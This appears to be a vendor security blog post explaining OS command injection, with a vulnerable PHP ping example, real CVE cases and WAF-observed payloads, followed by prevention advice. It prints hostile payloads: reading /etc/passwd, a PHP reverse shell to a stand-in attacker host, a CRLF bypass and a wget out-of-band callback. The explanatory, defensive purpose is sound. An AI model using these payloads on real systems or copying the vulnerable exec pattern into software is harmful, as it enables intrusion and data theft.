OS command injection is a web application vulnerability that allows attackers to execute arbitrary commands on the underlying operating system. These vulnerabilities occur when web applications call operating system commands with user-supplied input provided as arguments. The vulnerability may also be identified with either CWE-77 or CWE-78.
Consider a web application meant to monitor internal systems and provide alerts when one of the systems goes offline. In this scenario, the application may want to test network reachability to the target and does so by executing a ping command. If the application is written in PHP, the underlying code may look something like the following:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
In this example, PHP’s exec function executes the ping command with the user-provided value for ‘ip_address’ appended at the end as the target to test its reachability. If, however, an attacker instead provides localhost; cat /etc/passwd
as the provided IP address, both the ping command and the second command initiated after the semicolon will execute. If successful, the attacker will then have full command execution and can execute any number of malicious commands to attempt to escalate access, retrieve sensitive information, maintain persistence, or pivot to other targets on the network. Due to its often more devastating impact, command injection vulnerabilities are typically rated more severely than other web application vulnerabilities.
Command injection is often confused with other injection attacks, most notably code injection. The simplest way to distinguish between the two vulnerabilities is the method and context of the payload execution:
Command injection notably executes in the context of the underlying operating system’s shell programs (e.g., bash, PowerShell) by injecting into the call to an outside program.
Code injection executes in the context of the programming language in use. An example of this would be injecting into PHP’s include or eval functions and being able to execute arbitrary PHP code.
Where folks sometimes get confused is when a command injection payload contains code from programming languages like PHP. For example, consider using the following command injection payload in our previous example that will launch a reverse shell:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Since the payload contains mostly PHP code, at first glance it may come off as Code Injection. However, the beginning of the payload is what demonstrates that it is actually command injection. In this example, the semicolon ends the ping command before the PHP command is executed. php -r then executes the following PHP on the command line, which in this case is a reverse shell back to the attacker’s IP address. While PHP code is being executed in our payload, this is OS command injection because we’re injecting into the OS’ shell program arguments.
With an understanding of what is and isn’t OS command injection, let’s take a look at some real examples of this attack and how they were executed.
NagiosXI versions 5.5.6 to 5.7.5 were affected by three separate instances of command injection. Our earlier ping example is actually loosely taken from CVE-2021-25298, whose command injection vulnerability resided in a call to ping through PHP’s exec function with a user-supplied IP address. In our detailed analysis of these CVEs, we demonstrate using these vulnerabilities in a practical way by launching both Meterpreter remote shells and callbacks to Project Discovery’s interactsh. As noted by CISA as of this writing, these CVEs are actively exploited by attackers in the wild, demonstrating their potential value in compromising systems.
This particular command injection vulnerability perfectly demonstrates how not to prevent command injection. Dinh Hoang has a wonderful write-up describing the vulnerability, specifically how ADManagerPlus uses a function CommonUtil.getPowerShellEscapedValue to escape a username and password value provided by the user for a reg add command. However, that function does not escape CRLF characters, which allows the following payload to be inserted as a password and launch calc: [any-content]\r\ncalc.exe
. As we’ll discuss later, performing this type of input sanitization allows for mistakes, new bypasses, or missed metacharacters that can lead to future command injection.
Fastly’s Next-Gen WAF protects against command injection attacks. By investigating some observed command injection payloads, we can see what attackers are sending to detect OS command injection vulnerabilities.
language=&ping -c 25 127.0.0.1 &
This payload is a straightforward attempt at command injection into the language field. It also uses a blind command injection technique as it does not rely on retrieving output from the command to detect the injection. First, the payload uses the & metacharacter to execute the second command while the first command runs in the background. The payload contains the ping command with the -c flag, which tells ping to send 25 packets - one every second. By analyzing the response time, an attacker can determine whether their injected command was executed. This technique can fail, however, if the targeted application does not wait for the executed command to complete before sending an HTTP response, thus limiting its efficacy. Let’s look at a more interesting example of blind command injection that does not have this limitation.
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
This payload utilizes out of band network interaction, a blind command injection technique that relies on detecting an outbound network request from the injected command to detect command injection. Let’s break down the payload into its two parts: the escape and setup of the command, and the injected command’s contents.
The payload is injected into the macAddress field and contains two metacharacters to help with command injection. First, the semicolon marks the end of the first command so the attacker's command can be launched. At the end of the injected payload, the attacker uses the # metacharacter as a way to comment out any following data. This is useful if the argument they are injecting into is not the final argument in the command, as any follow-on arguments will be ignored as part of the comment.
The injected command portion of the payload is the wget command, which reaches out to a subdomain of oast.site, one of the default callback domains used by Project Discovery's interactsh. OAST refers to out-of-band application security testing, which interactsh facilitates by using unique subdomains and payloads to determine whether the targeted attack was successful. There are several other domains used by interactsh and other tools that facilitate the same type of testing, which we’ve previously observed heavy use of.
There are several ways to prevent OS command injection that vary in their effectiveness and drawbacks. Below you will find actionable solutions to prevent this type of attack.
Never call out operating system commands from application code. This completely removes the possibility of OS command injection vulnerabilities by removing the injected commands themselves. Utilizing alternative methods to perform the same actions is a safer and preferred option.
If removing calls to OS commands is unavoidable in your environment, then strong input validation is essential to preventing OS command injection vulnerabilities. Strong input validation is different from input sanitization. Input validation requires ensuring that user input contains only safe values for the application to pass into the OS commands. Some examples of strong input validation are:
Validating input is contained in an allowed list of values.
Validating that provided input is of the proper type (e.g., an integer or an IP address).
Validating that input contains only alphanumeric values.
If neither of these options are possible, sanitizing user input by escaping shell metacharacters (e.g., & or ;) should be a last resort. It is difficult to get this sanitization correct due to the many ways metacharacters can be represented and interpreted by different operating systems, and how sanitization methods can be bypassed. CVE-2023-29084 showcases the possible problems with this method, as a missed metacharacter (CRLF) led to a successful command injection. While sanitization will often protect against the low-hanging fruit of OS command injection payloads, it is not a complete solution due to both the difficulty of correct implementation and bypass possibilities.
OS command injection is typically a severe web application vulnerability that allows attackers to execute arbitrary commands on the underlying operating system. It is often confused with Code Injection but it operates in the context of the underlying operating system’s shell programs whereas Code Injection does so in the context of the programming language in use. OS command injection can have devastating impacts, and as seen in our real world examples, is still a frequently used attack medium. However, applications can prevent OS command injection using the solutions we’ve outlined. If you’re having difficulty stopping OS command injection, or utilize a product that has suffered from OS command injection vulnerabilities in the past, check out Fastly’s Next-Gen WAF to protect against these attacks and more.